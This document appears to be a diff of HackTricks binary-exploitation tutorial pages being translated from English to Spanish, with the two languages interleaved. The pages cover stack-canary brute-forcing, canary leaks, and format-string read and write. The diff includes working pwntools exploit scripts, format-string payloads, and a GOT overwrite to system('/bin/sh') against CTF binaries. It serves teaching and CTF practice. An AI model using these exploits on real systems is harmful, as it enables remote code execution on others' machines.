The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. La mejor manera de eludir un canario simple es si el binario es un programa **que crea procesos hijos cada vez que estableces una nueva conexión** con él (servicio de red), porque cada vez que te conectas a él **se usará el mismo canario**.
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): Entonces, la mejor manera de eludir el canario es simplemente **forzarlo de manera bruta carácter por carácter**, y puedes averiguar si el byte del canario adivinado fue correcto comprobando si el programa se ha bloqueado o continúa su flujo regular. En este ejemplo, la función **fuerza bruta un canario de 8 Bytes (x64)** y distingue entre un byte adivinado correctamente y un byte incorrecto simplemente **verificando** si se envía una **respuesta** de vuelta por el servidor (otra forma en **otra situación** podría ser usando un **try/except**):
### Example 1 ### Ejemplo 1
This example is implemented for 64bits but could be easily implemented for 32 bits.
Este ejemplo está implementado para 64 bits, pero podría implementarse fácilmente para 32 bits.
```python ```python
from pwn import * from pwn import *
def connect(): def connect():
r = remote("localhost", 8788) r = remote("localhost", 8788)
def get_bf(base): def get_bf(base):
canary = "" canary = ""
guess = 0x0 guess = 0x0
base += canary base += canary
while len(canary) < 8: while len(canary) < 8:
while guess != 0xff: while guess != 0xff:
r = connect() r = connect()
r.recvuntil("Username: ") r.recvuntil("Username: ")
r.send(base + chr(guess)) r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean(): if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x') print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess) canary += chr(guess)
base += chr(guess) base += chr(guess)
guess = 0x0 guess = 0x0
r.close() r.close()
break break
else: else:
guess += 1 guess += 1
r.close() r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base return base
canary_offset = 1176 canary_offset = 1176
base = "A" * canary_offset base = "A" * canary_offset
@ -58,43 +57,41 @@ print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
``` ```
### Ejemplo 2
### Example 2 Esto está implementado para 32 bits, pero esto podría cambiarse fácilmente a 64 bits.\
También tenga en cuenta que para este ejemplo el **programa esperaba primero un byte para indicar el tamaño de la entrada** y la carga útil.
This is implemented for 32 bits, but this could be easily changed to 64bits.\
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
```python ```python
from pwn import * from pwn import *
# Here is the function to brute force the canary # Here is the function to brute force the canary
def breakCanary(): def breakCanary():
known_canary = b"" known_canary = b""
test_canary = 0x0 test_canary = 0x0
len_bytes_to_read = 0x21 len_bytes_to_read = 0x21
for j in range(0, 4): for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte # Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff): for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size # Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little")) target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary # Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value # Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.") output = target.recvuntil(b"exit.")
if b"YUM" in output: if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on # If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary)) print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little") known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1 len_bytes_to_read += 1
break break
# Return the canary # Return the canary
return known_canary return known_canary
# Start the target process # Start the target process
target = process('./feedme') target = process('./feedme')
@ -104,18 +101,17 @@ target = process('./feedme')
canary = breakCanary() canary = breakCanary()
log.info(f"The canary is: {canary}") log.info(f"The canary is: {canary}")
``` ```
## Hilos
## Threads Los hilos del mismo proceso también **compartirán el mismo token canario**, por lo tanto, será posible **forzar** un canario si el binario genera un nuevo hilo cada vez que ocurre un ataque.&#x20;
Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.&#x20; Además, un **desbordamiento de búfer en una función con hilos** protegida con canario podría usarse para **modificar el canario maestro almacenado en el TLS**. Esto se debe a que podría ser posible alcanzar la posición de memoria donde se almacena el TLS (y, por lo tanto, el canario) a través de un **bof en la pila** de un hilo.\
Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canarios que son iguales (aunque modificados).\
Este ataque se realiza en el informe: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ Consulta también la presentación de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que generalmente el **TLS** se almacena mediante **`mmap`** y cuando se crea una **pila** de **hilo** también se genera mediante `mmap`, lo que podría permitir el desbordamiento como se mostró en el informe anterior.
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. ## Otros ejemplos y referencias
## Other examples & references
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. - 64 bits, sin PIE, nx, BF canario, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí.

View File

@ -1,33 +1,33 @@
# Print Stack Canary # Imprimir Stack Canary
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Enlarge printed stack ## Ampliar stack impreso
Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**. Imagina una situación donde un **programa vulnerable** a desbordamiento de stack puede ejecutar una función **puts** **apuntando** a **parte** del **desbordamiento de stack**. El atacante sabe que el **primer byte del canario es un byte nulo** (`\x00`) y el resto del canario son **bytes aleatorios**. Entonces, el atacante puede crear un desbordamiento que **sobrescriba el stack hasta justo el primer byte del canario**.
Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte). Luego, el atacante **llama a la funcionalidad puts** en el medio de la carga útil que **imprimirá todo el canario** (excepto el primer byte nulo).
With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session). Con esta información, el atacante puede **elaborar y enviar un nuevo ataque** conociendo el canario (en la **misma sesión del programa**).
Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**. Obviamente, esta táctica es muy **restringida** ya que el atacante necesita poder **imprimir** el **contenido** de su **carga útil** para **exfiltrar** el **canario** y luego ser capaz de crear una nueva carga útil (en la **misma sesión del programa**) y **enviar** el **verdadero desbordamiento de buffer**.
**CTF examples:**&#x20; **Ejemplos de CTF:**&#x20;
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` - 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego un gadget ROP para llamar a `system('/bin/sh')`
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html) - [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system) - 32 bits, ARM, sin relro, canario, nx, sin pie. Desbordamiento con una llamada a puts sobre él para filtrar el canario + ret2lib llamando a `system` con una cadena ROP para hacer pop a r0 (arg `/bin/sh`) y pc (dirección de system)
## Arbitrary Read ## Lectura Arbitraria
With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in: Con una **lectura arbitraria** como la proporcionada por **cadenas de formato**, podría ser posible filtrar el canario. Revisa este ejemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) y puedes leer sobre el abuso de cadenas de formato para leer direcciones de memoria arbitrarias en:
{{#ref}} {{#ref}}
../../format-strings/ ../../format-strings/
{{#endref}} {{#endref}}
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- This challenge abuses in a very simple way a format string to read the canary from the stack - Este desafío abusa de una manera muy simple de una cadena de formato para leer el canario desde el stack
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# Common Exploiting Problems # Problemas Comunes de Explotación
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## FDs in Remote Exploitation ## FDs en Explotación Remota
When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell. Al enviar un exploit a un servidor remoto que llama a **`system('/bin/sh')`**, por ejemplo, esto se ejecutará en el proceso del servidor, y `/bin/sh` esperará entrada de stdin (FD: `0`) y mostrará la salida en stdout y stderr (FDs `1` y `2`). Por lo tanto, el atacante no podrá interactuar con el shell.
A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed. Una forma de solucionar esto es suponer que cuando el servidor se inició, creó el **FD número `3`** (para escuchar) y que luego, tu conexión estará en el **FD número `4`**. Por lo tanto, es posible usar la syscall **`dup2`** para duplicar el stdin (FD 0) y el stdout (FD 1) en el FD 4 (el de la conexión del atacante) para que sea posible contactar con el shell una vez que se ejecute.
[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
[**Ejemplo de exploit desde aquí**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python ```python
from pwn import * from pwn import *
@ -26,13 +25,12 @@ p.sendline(rop.chain())
p.recvuntil('Thanks!\x00') p.recvuntil('Thanks!\x00')
p.interactive() p.interactive()
``` ```
## Socat & pty ## Socat & pty
Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit. Ten en cuenta que socat ya transfiere **`stdin`** y **`stdout`** al socket. Sin embargo, el modo `pty` **incluye caracteres DELETE**. Así que, si envías un `\x7f` ( `DELETE` -) eliminará **el carácter anterior** de tu exploit.
In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.** Para eludir esto, el **carácter de escape `\x16` debe ser precedido a cualquier `\x7f` enviado.**
**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** **Aquí puedes** [**encontrar un ejemplo de este comportamiento**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,22 +2,16 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). ## Información Básica
{% embed url="https://www.stmcyber.com/careers" %} En C **`printf`** es una función que se puede usar para **imprimir** alguna cadena. El **primer parámetro** que esta función espera es el **texto en bruto con los formateadores**. Los **siguientes parámetros** esperados son los **valores** para **sustituir** los **formateadores** del texto en bruto.
## Basic Information Otras funciones vulnerables son **`sprintf()`** y **`fprintf()`**.
In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text. La vulnerabilidad aparece cuando un **texto de atacante se usa como el primer argumento** para esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de la **cadena de formato printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De esta manera, podrá **ejecutar código arbitrario**.
Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**.
#### Formatters:
#### Formateadores:
```bash ```bash
%08x —> 8 hex bytes %08x —> 8 hex bytes
%d —> Entire %d —> Entire
@ -28,72 +22,58 @@ The vulnerability appears when an **attacker text is used as the first argument*
%hn —> Occupies 2 bytes instead of 4 %hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 <n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
``` ```
**Ejemplos:**
**Examples:** - Ejemplo vulnerable:
- Vulnerable example:
```c ```c
char buffer[30]; char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions. gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack. printf(buffer); // If buffer contains "%x", it reads from the stack.
``` ```
- Uso Normal:
- Normal Use:
```c ```c
int value = 1205; int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
``` ```
- Con argumentos faltantes:
- With Missing Arguments:
```c ```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack. printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
``` ```
- fprintf vulnerable: - fprintf vulnerable:
```c ```c
#include <stdio.h> #include <stdio.h>
int main(int argc, char *argv[]) { int main(int argc, char *argv[]) {
char *user_input; char *user_input;
user_input = argv[1]; user_input = argv[1];
FILE *output_file = fopen("output.txt", "w"); FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters! fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file); fclose(output_file);
return 0; return 0;
} }
``` ```
### **Accediendo a Punteros**
### **Accessing Pointers** El formato **`%<n>$x`**, donde `n` es un número, permite indicar a printf que seleccione el n-ésimo parámetro (de la pila). Así que si quieres leer el 4º parámetro de la pila usando printf, podrías hacer:
The format **`%<n>$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:
```c ```c
printf("%x %x %x %x") printf("%x %x %x %x")
``` ```
y leerías desde el primer hasta el cuarto parámetro.
and you would read from the first to the forth param. O podrías hacer:
Or you could do:
```c ```c
printf("%4$x") printf("%4$x")
``` ```
y leer directamente el cuarto.
and read directly the forth. Nota que el atacante controla el parámetro de `printf`, **lo que básicamente significa que** su entrada estará en la pila cuando se llame a `printf`, lo que significa que podría escribir direcciones de memoria específicas en la pila.
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
> [!CAUTION] > [!CAUTION]
> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour. > Un atacante que controle esta entrada, podrá **agregar direcciones arbitrarias en la pila y hacer que `printf` las acceda**. En la siguiente sección se explicará cómo usar este comportamiento.
## **Arbitrary Read** ## **Lectura Arbitraria**
It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **n posición**, siguiéndola y **imprimirla como si fuera una cadena** (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la cuarta posición de la pila, es posible imprimir el inicio del binario con:
```python ```python
from pwn import * from pwn import *
@ -106,18 +86,16 @@ payload += p32(0x8048000) #6th param
p.sendline(payload) p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
``` ```
> [!CAUTION] > [!CAUTION]
> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address. > Tenga en cuenta que no puede poner la dirección 0x8048000 al principio de la entrada porque la cadena se cortará en 0x00 al final de esa dirección.
### Find offset ### Encontrar el desplazamiento
To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`. Para encontrar el desplazamiento a su entrada, podría enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** y **aumentar** el valor hasta recuperar los `A's`.
<details> <details>
<summary>Brute Force printf offset</summary> <summary>Fuerza bruta printf offset</summary>
```python ```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -125,88 +103,82 @@ from pwn import *
# Iterate over a range of integers # Iterate over a range of integers
for i in range(10): for i in range(10):
# Construct a payload that includes the current integer as offset # Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode() payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary # Start a new process of the "chall" binary
p = process("./chall") p = process("./chall")
# Send the payload to the process # Send the payload to the process
p.sendline(payload) p.sendline(payload)
# Read and store the output of the process # Read and store the output of the process
output = p.clean() output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output: if b"41414141" in output:
# If the string is found, log the success message and break out of the loop # If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") log.success(f"User input is at offset : {i}")
break break
# Close the process # Close the process
p.close() p.close()
``` ```
</details> </details>
### How useful ### Qué tan útil
Arbitrary reads can be useful to: Las lecturas arbitrarias pueden ser útiles para:
- **Dump** the **binary** from memory - **Volcar** el **binario** de la memoria
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) - **Acceder a partes específicas de la memoria donde se almacena información** **sensible** (como canarios, claves de cifrado o contraseñas personalizadas como en este [**desafío CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write** ## **Escritura Arbitraria**
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address. El formateador **`%<num>$n`** **escribe** el **número de bytes escritos** en la **dirección indicada** en el parámetro \<num> en la pila. Si un atacante puede escribir tantos caracteres como desee con printf, podrá hacer que **`%<num>$n`** escriba un número arbitrario en una dirección arbitraria.
Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
Afortunadamente, para escribir el número 9999, no es necesario agregar 9999 "A"s a la entrada; para hacerlo, es posible usar el formateador **`%.<num-write>%<num>$n`** para escribir el número **`<num-write>`** en la **dirección apuntada por la posición `num`**.
```bash ```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500 AAAA.%500\$08x —> Param at offset 500
``` ```
Sin embargo, ten en cuenta que generalmente para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de una vez), **se usa `$hn`** en lugar de `$n`. Esto permite **escribir solo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces, una para los 2B más altos de la dirección y otra vez para los más bajos.
However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones. Por lo tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (escritura arbitraria).**
Therefore, this vulnerability allows to **write anything in any address (arbitrary write).** En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la tabla **GOT** que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria a exec:
In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
{{#ref}} {{#ref}}
../arbitrary-write-2-exec/ ../arbitrary-write-2-exec/
{{#endref}} {{#endref}}
We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\ Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la **función** **`system`**.\
As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used. Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: Primero **escribes 2Bytes** de la dirección y luego los otros 2. Para hacerlo se usa **`$hn`**.
- **HOB** is called to the 2 higher bytes of the address - **HOB** se llama a los 2 bytes más altos de la dirección
- **LOB** is called to the 2 lower bytes of the address - **LOB** se llama a los 2 bytes más bajos de la dirección
Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one. Luego, debido a cómo funciona la cadena de formato, necesitas **escribir primero el más pequeño** de \[HOB, LOB] y luego el otro.
If HOB < LOB\ Si HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
If HOB > LOB\ Si HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash ```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
``` ```
### Plantilla de Pwntools
### Pwntools Template Puedes encontrar una **plantilla** para preparar un exploit para este tipo de vulnerabilidad en:
You can find a **template** to prepare a exploit for this kind of vulnerability in:
{{#ref}} {{#ref}}
format-strings-template.md format-strings-template.md
{{#endref}} {{#endref}}
Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): O este ejemplo básico de [**aquí**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python ```python
from pwn import * from pwn import *
@ -225,27 +197,21 @@ p.sendline('/bin/sh')
p.interactive() p.interactive()
``` ```
## Cadenas de Formato a BOF
## Format Strings to BOF Es posible abusar de las acciones de escritura de una vulnerabilidad de cadena de formato para **escribir en direcciones de la pila** y explotar un tipo de vulnerabilidad de **desbordamiento de búfer**.
It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability. ## Otros Ejemplos y Referencias
## Other Examples & References
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) - 32 bits, sin relro, sin canario, nx, sin pie, uso básico de cadenas de formato para filtrar la bandera de la pila (sin necesidad de alterar el flujo de ejecución)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) - 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. - 32 bits, relro, sin canario, nx, sin pie, cadena de formato para escribir una dirección dentro de main en `.fini_array` (para que el flujo vuelva a repetirse una vez más) y escribir la dirección a `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo regrese a main, `strlen` se ejecutará con la entrada del usuario y apuntando a `system`, ejecutará los comandos pasados.
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,32 +1,27 @@
# Format Strings - Arbitrary Read Example # Cadenas de Formato - Ejemplo de Lectura Arbitraria
